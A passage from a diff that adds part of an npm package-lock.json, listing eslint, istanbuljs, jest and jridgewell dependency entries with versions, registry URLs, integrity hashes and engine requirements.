+      "integrity": "sha512-AXYd23w1S/bv3fTs3Lz0vjiYemS08jWkI3hYyS9I1ry+0f+Yjs1wm+sU0BS8qDOPrBIkp4qHYC16I8uVtpLajQ==",
+      "dependencies": {
+        "ajv": "^6.12.4",
+        "debug": "^4.3.2",
+        "espree": "^9.4.0",
+        "globals": "^13.15.0",
+        "ignore": "^5.2.0",
+        "import-fresh": "^3.2.1",
+        "js-yaml": "^4.1.0",
+        "minimatch": "^3.1.2",
+        "strip-json-comments": "^3.1.1"
+      },
+      "engines": {
+        "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+      },
+      "funding": {
+        "url": "https://opencollective.com/eslint"
+      }
+    },
+    "node_modules/@eslint/eslintrc/node_modules/ajv": {
+      "version": "6.12.6",
+      "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz",
+      "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==",
+      "license": "MIT",
+      "dependencies": {
+        "fast-deep-equal": "^3.1.1",
+        "fast-json-stable-stringify": "^2.0.0",
+        "json-schema-traverse": "^0.4.1",
+        "uri-js": "^4.2.2"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/epoberezkin"
+      }
+    },
+    "node_modules/@eslint/eslintrc/node_modules/argparse": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz",
+      "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q=="
+    },
+    "node_modules/@eslint/eslintrc/node_modules/globals": {
+      "version": "13.17.0",
+      "resolved": "https://registry.npmjs.org/globals/-/globals-13.17.0.tgz",
+      "integrity": "sha512-1C+6nQRb1GwGMKm2dH/E7enFAMxGTmGI7/dEdhy/DNelv85w9B72t3uc5frtMNXIbzrarJJ/lTCjcaZwbLJmyw==",
+      "dependencies": {
+        "type-fest": "^0.20.2"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/@eslint/eslintrc/node_modules/js-yaml": {
+      "version": "4.1.0",
+      "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz",
+      "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==",
+      "dependencies": {
+        "argparse": "^2.0.1"
+      },
+      "bin": {
+        "js-yaml": "bin/js-yaml.js"
+      }
+    },
+    "node_modules/@eslint/eslintrc/node_modules/json-schema-traverse": {
+      "version": "0.4.1",
+      "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
+      "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==",
+      "license": "MIT"
+    },
+    "node_modules/@humanwhocodes/config-array": {
+      "version": "0.10.7",
+      "resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.10.7.tgz",
+      "integrity": "sha512-MDl6D6sBsaV452/QSdX+4CXIjZhIcI0PELsxUjk4U828yd58vk3bTIvk/6w5FY+4hIy9sLW0sfrV7K7Kc++j/w==",
+      "deprecated": "Use @eslint/config-array instead",
+      "dependencies": {
+        "@humanwhocodes/object-schema": "^1.2.1",
+        "debug": "^4.1.1",
+        "minimatch": "^3.0.4"
+      },
+      "engines": {
+        "node": ">=10.10.0"
+      }
+    },
+    "node_modules/@humanwhocodes/gitignore-to-minimatch": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/@humanwhocodes/gitignore-to-minimatch/-/gitignore-to-minimatch-1.0.2.tgz",
+      "integrity": "sha512-rSqmMJDdLFUsyxR6FMtD00nfQKKLFb1kv+qBbOVKqErvloEIJLo5bDTJTQNTYgeyp78JsA7u/NPi5jT1GR/MuA==",
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/nzakas"
+      }
+    },
+    "node_modules/@humanwhocodes/module-importer": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz",
+      "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==",
+      "engines": {
+        "node": ">=12.22"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/nzakas"
+      }
+    },
+    "node_modules/@humanwhocodes/object-schema": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/@humanwhocodes/object-schema/-/object-schema-1.2.1.tgz",
+      "integrity": "sha512-ZnQMnLV4e7hDlUvw8H+U8ASL02SS2Gn6+9Ac3wGGLIe7+je2AeAOxPY+izIPJDfFDb7eDjev0Us8MO1iFRN8hA==",
+      "deprecated": "Use @eslint/object-schema instead"
+    },
+    "node_modules/@istanbuljs/load-nyc-config": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/@istanbuljs/load-nyc-config/-/load-nyc-config-1.1.0.tgz",
+      "integrity": "sha512-VjeHSlIzpv/NyD3N0YuHfXOPDIixcA1q2ZV98wsMqcYlPmv2n3Yb2lYP9XMElnaFVXg5A7YLTeLu6V84uQDjmQ==",
+      "dependencies": {
+        "camelcase": "^5.3.1",
+        "find-up": "^4.1.0",
+        "get-package-type": "^0.1.0",
+        "js-yaml": "^3.13.1",
+        "resolve-from": "^5.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@istanbuljs/load-nyc-config/node_modules/camelcase": {
+      "version": "5.3.1",
+      "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz",
+      "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==",
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/@istanbuljs/load-nyc-config/node_modules/find-up": {
+      "version": "4.1.0",
+      "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz",
+      "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==",
+      "dependencies": {
+        "locate-path": "^5.0.0",
+        "path-exists": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@istanbuljs/load-nyc-config/node_modules/locate-path": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz",
+      "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==",
+      "dependencies": {
+        "p-locate": "^4.1.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@istanbuljs/load-nyc-config/node_modules/p-limit": {
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
+      "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
+      "dependencies": {
+        "p-try": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=6"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/@istanbuljs/load-nyc-config/node_modules/p-locate": {
+      "version": "4.1.0",
+      "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz",
+      "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==",
+      "dependencies": {
+        "p-limit": "^2.2.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@istanbuljs/load-nyc-config/node_modules/resolve-from": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz",
+      "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@istanbuljs/schema": {
+      "version": "0.1.3",
+      "resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.3.tgz",
+      "integrity": "sha512-ZXRY4jNvVgSVQ8DL3LTcakaAtXwTVUxE81hslsyD2AtoXW/wVob10HkOJ1X/pAlcI7D+2YoZKg5do8G/w6RYgA==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/@jest/console": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/console/-/console-27.5.1.tgz",
+      "integrity": "sha512-kZ/tNpS3NXn0mlXXXPNuDZnb4c0oZ20r4K5eemM2k30ZC3G0T02nXUvyhf5YdbXWHPEJLc9qGLxEZ216MdL+Zg==",
+      "dependencies": {
+        "@jest/types": "^27.5.1",
+        "@types/node": "*",
+        "chalk": "^4.0.0",
+        "jest-message-util": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "slash": "^3.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/@jest/console/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/@jest/console/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/@jest/core": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/core/-/core-27.5.1.tgz",
+      "integrity": "sha512-AK6/UTrvQD0Cd24NSqmIA6rKsu0tKIxfiCducZvqxYdmMisOYAsdItspT+fQDQYARPf8XgjAFZi0ogW2agH5nQ==",
+      "dependencies": {
+        "@jest/console": "^27.5.1",
+        "@jest/reporters": "^27.5.1",
+        "@jest/test-result": "^27.5.1",
+        "@jest/transform": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/node": "*",
+        "ansi-escapes": "^4.2.1",
+        "chalk": "^4.0.0",
+        "emittery": "^0.8.1",
+        "exit": "^0.1.2",
+        "graceful-fs": "^4.2.9",
+        "jest-changed-files": "^27.5.1",
+        "jest-config": "^27.5.1",
+        "jest-haste-map": "^27.5.1",
+        "jest-message-util": "^27.5.1",
+        "jest-regex-util": "^27.5.1",
+        "jest-resolve": "^27.5.1",
+        "jest-resolve-dependencies": "^27.5.1",
+        "jest-runner": "^27.5.1",
+        "jest-runtime": "^27.5.1",
+        "jest-snapshot": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "jest-validate": "^27.5.1",
+        "jest-watcher": "^27.5.1",
+        "micromatch": "^4.0.4",
+        "rimraf": "^3.0.0",
+        "slash": "^3.0.0",
+        "strip-ansi": "^6.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      },
+      "peerDependencies": {
+        "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0"
+      },
+      "peerDependenciesMeta": {
+        "node-notifier": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/@jest/core/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/@jest/core/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/@jest/environment": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-27.5.1.tgz",
+      "integrity": "sha512-/WQjhPJe3/ghaol/4Bq480JKXV/Rfw8nQdN7f41fM8VDHLcxKXou6QyXAh3EFr9/bVG3x74z1NWDkP87EiY8gA==",
+      "dependencies": {
+        "@jest/fake-timers": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/node": "*",
+        "jest-mock": "^27.5.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/@jest/environment/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/@jest/environment/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/@jest/fake-timers": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-27.5.1.tgz",
+      "integrity": "sha512-/aPowoolwa07k7/oM3aASneNeBGCmGQsc3ugN4u6s4C/+s5M64MFo/+djTdiwcbQlRfFElGuDXWzaWj6QgKObQ==",
+      "dependencies": {
+        "@jest/types": "^27.5.1",
+        "@sinonjs/fake-timers": "^8.0.1",
+        "@types/node": "*",
+        "jest-message-util": "^27.5.1",
+        "jest-mock": "^27.5.1",
+        "jest-util": "^27.5.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/@jest/fake-timers/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/@jest/fake-timers/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/@jest/globals": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/globals/-/globals-27.5.1.tgz",
+      "integrity": "sha512-ZEJNB41OBQQgGzgyInAv0UUfDDj3upmHydjieSxFvTRuZElrx7tXg/uVQ5hYVEwiXs3+aMsAeEc9X7xiSKCm4Q==",
+      "dependencies": {
+        "@jest/environment": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "expect": "^27.5.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/@jest/globals/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/@jest/globals/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/@jest/reporters": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/reporters/-/reporters-27.5.1.tgz",
+      "integrity": "sha512-cPXh9hWIlVJMQkVk84aIvXuBB4uQQmFqZiacloFuGiP3ah1sbCxCosidXFDfqG8+6fO1oR2dTJTlsOy4VFmUfw==",
+      "dependencies": {
+        "@bcoe/v8-coverage": "^0.2.3",
+        "@jest/console": "^27.5.1",
+        "@jest/test-result": "^27.5.1",
+        "@jest/transform": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/node": "*",
+        "chalk": "^4.0.0",
+        "collect-v8-coverage": "^1.0.0",
+        "exit": "^0.1.2",
+        "glob": "^7.1.2",
+        "graceful-fs": "^4.2.9",
+        "istanbul-lib-coverage": "^3.0.0",
+        "istanbul-lib-instrument": "^5.1.0",
+        "istanbul-lib-report": "^3.0.0",
+        "istanbul-lib-source-maps": "^4.0.0",
+        "istanbul-reports": "^3.1.3",
+        "jest-haste-map": "^27.5.1",
+        "jest-resolve": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "jest-worker": "^27.5.1",
+        "slash": "^3.0.0",
+        "source-map": "^0.6.0",
+        "string-length": "^4.0.1",
+        "terminal-link": "^2.0.0",
+        "v8-to-istanbul": "^8.1.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      },
+      "peerDependencies": {
+        "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0"
+      },
+      "peerDependenciesMeta": {
+        "node-notifier": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/@jest/reporters/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/@jest/reporters/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/@jest/schemas": {
+      "version": "28.1.3",
+      "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-28.1.3.tgz",
+      "integrity": "sha512-/l/VWsdt/aBXgjshLWOFyFt3IVdYypu5y2Wn2rOO1un6nkqIn8SLXzgIMYXFyYsRWDyF5EthmKJMIdJvk08grg==",
+      "dependencies": {
+        "@sinclair/typebox": "^0.24.1"
+      },
+      "engines": {
+        "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0"
+      }
+    },
+    "node_modules/@jest/source-map": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/source-map/-/source-map-27.5.1.tgz",
+      "integrity": "sha512-y9NIHUYF3PJRlHk98NdC/N1gl88BL08aQQgu4k4ZopQkCw9t9cV8mtl3TV8b/YCB8XaVTFrmUTAJvjsntDireg==",
+      "dependencies": {
+        "callsites": "^3.0.0",
+        "graceful-fs": "^4.2.9",
+        "source-map": "^0.6.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/@jest/test-result": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-27.5.1.tgz",
+      "integrity": "sha512-EW35l2RYFUcUQxFJz5Cv5MTOxlJIQs4I7gxzi2zVU7PJhOwfYq1MdC5nhSmYjX1gmMmLPvB3sIaC+BkcHRBfag==",
+      "dependencies": {
+        "@jest/console": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "collect-v8-coverage": "^1.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/@jest/test-result/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/@jest/test-result/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/@jest/test-sequencer": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/test-sequencer/-/test-sequencer-27.5.1.tgz",
+      "integrity": "sha512-LCheJF7WB2+9JuCS7VB/EmGIdQuhtqjRNI9A43idHv3E4KltCTsPsLxvdaubFHSYwY/fNjMWjl6vNRhDiN7vpQ==",
+      "dependencies": {
+        "@jest/test-result": "^27.5.1",
+        "graceful-fs": "^4.2.9",
+        "jest-haste-map": "^27.5.1",
+        "jest-runtime": "^27.5.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/@jest/transform": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/transform/-/transform-27.5.1.tgz",
+      "integrity": "sha512-ipON6WtYgl/1329g5AIJVbUuEh0wZVbdpGwC99Jw4LwuoBNS95MVphU6zOeD9pDkon+LLbFL7lOQRapbB8SCHw==",
+      "dependencies": {
+        "@babel/core": "^7.1.0",
+        "@jest/types": "^27.5.1",
+        "babel-plugin-istanbul": "^6.1.1",
+        "chalk": "^4.0.0",
+        "convert-source-map": "^1.4.0",
+        "fast-json-stable-stringify": "^2.0.0",
+        "graceful-fs": "^4.2.9",
+        "jest-haste-map": "^27.5.1",
+        "jest-regex-util": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "micromatch": "^4.0.4",
+        "pirates": "^4.0.4",
+        "slash": "^3.0.0",
+        "source-map": "^0.6.1",
+        "write-file-atomic": "^3.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/@jest/transform/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/@jest/transform/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/@jest/types": {
+      "version": "26.6.2",
+      "resolved": "https://registry.nlark.com/@jest/types/download/@jest/types-26.6.2.tgz?cache=0&sync_timestamp=1622290050288&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40jest%2Ftypes%2Fdownload%2F%40jest%2Ftypes-26.6.2.tgz",
+      "integrity": "sha1-vvWlMgMOHYii9abZM/hOlyJu1I4=",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^15.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": ">= 10.14.2"
+      }
+    },
+    "node_modules/@jridgewell/gen-mapping": {
+      "version": "0.1.1",
+      "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.1.1.tgz",
+      "integrity": "sha512-sQXCasFk+U8lWYEe66WxRDOE9PjVz4vSM51fTu3Hw+ClTpUSQb718772vH3pyS5pShp6lvQM7SxgIDXXXmOX7w==",
+      "dependencies": {
+        "@jridgewell/set-array": "^1.0.0",
+        "@jridgewell/sourcemap-codec": "^1.4.10"
+      },
+      "engines": {
+        "node": ">=6.0.0"
+      }
+    },
+    "node_modules/@jridgewell/resolve-uri": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.0.tgz",
+      "integrity": "sha512-F2msla3tad+Mfht5cJq7LSXcdudKTWCVYUgw6pLFOOHSTtZlj6SWNYAp+AhuqLmWdBO2X5hPrLcu8cVP8fy28w==",
+      "engines": {
+        "node": ">=6.0.0"
+      }
+    },
+    "node_modules/@jridgewell/set-array": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.1.2.tgz",
+      "integrity": "sha512-xnkseuNADM0gt2bs+BvhO0p78Mk762YnZdsuzFV018NoG1Sj1SCQvpSqa7XUaTam5vAGasABV9qXASMKnFMwMw==",
+      "engines": {
+        "node": ">=6.0.0"
+      }
+    },
+    "node_modules/@jridgewell/source-map": {
+      "version": "0.3.2",
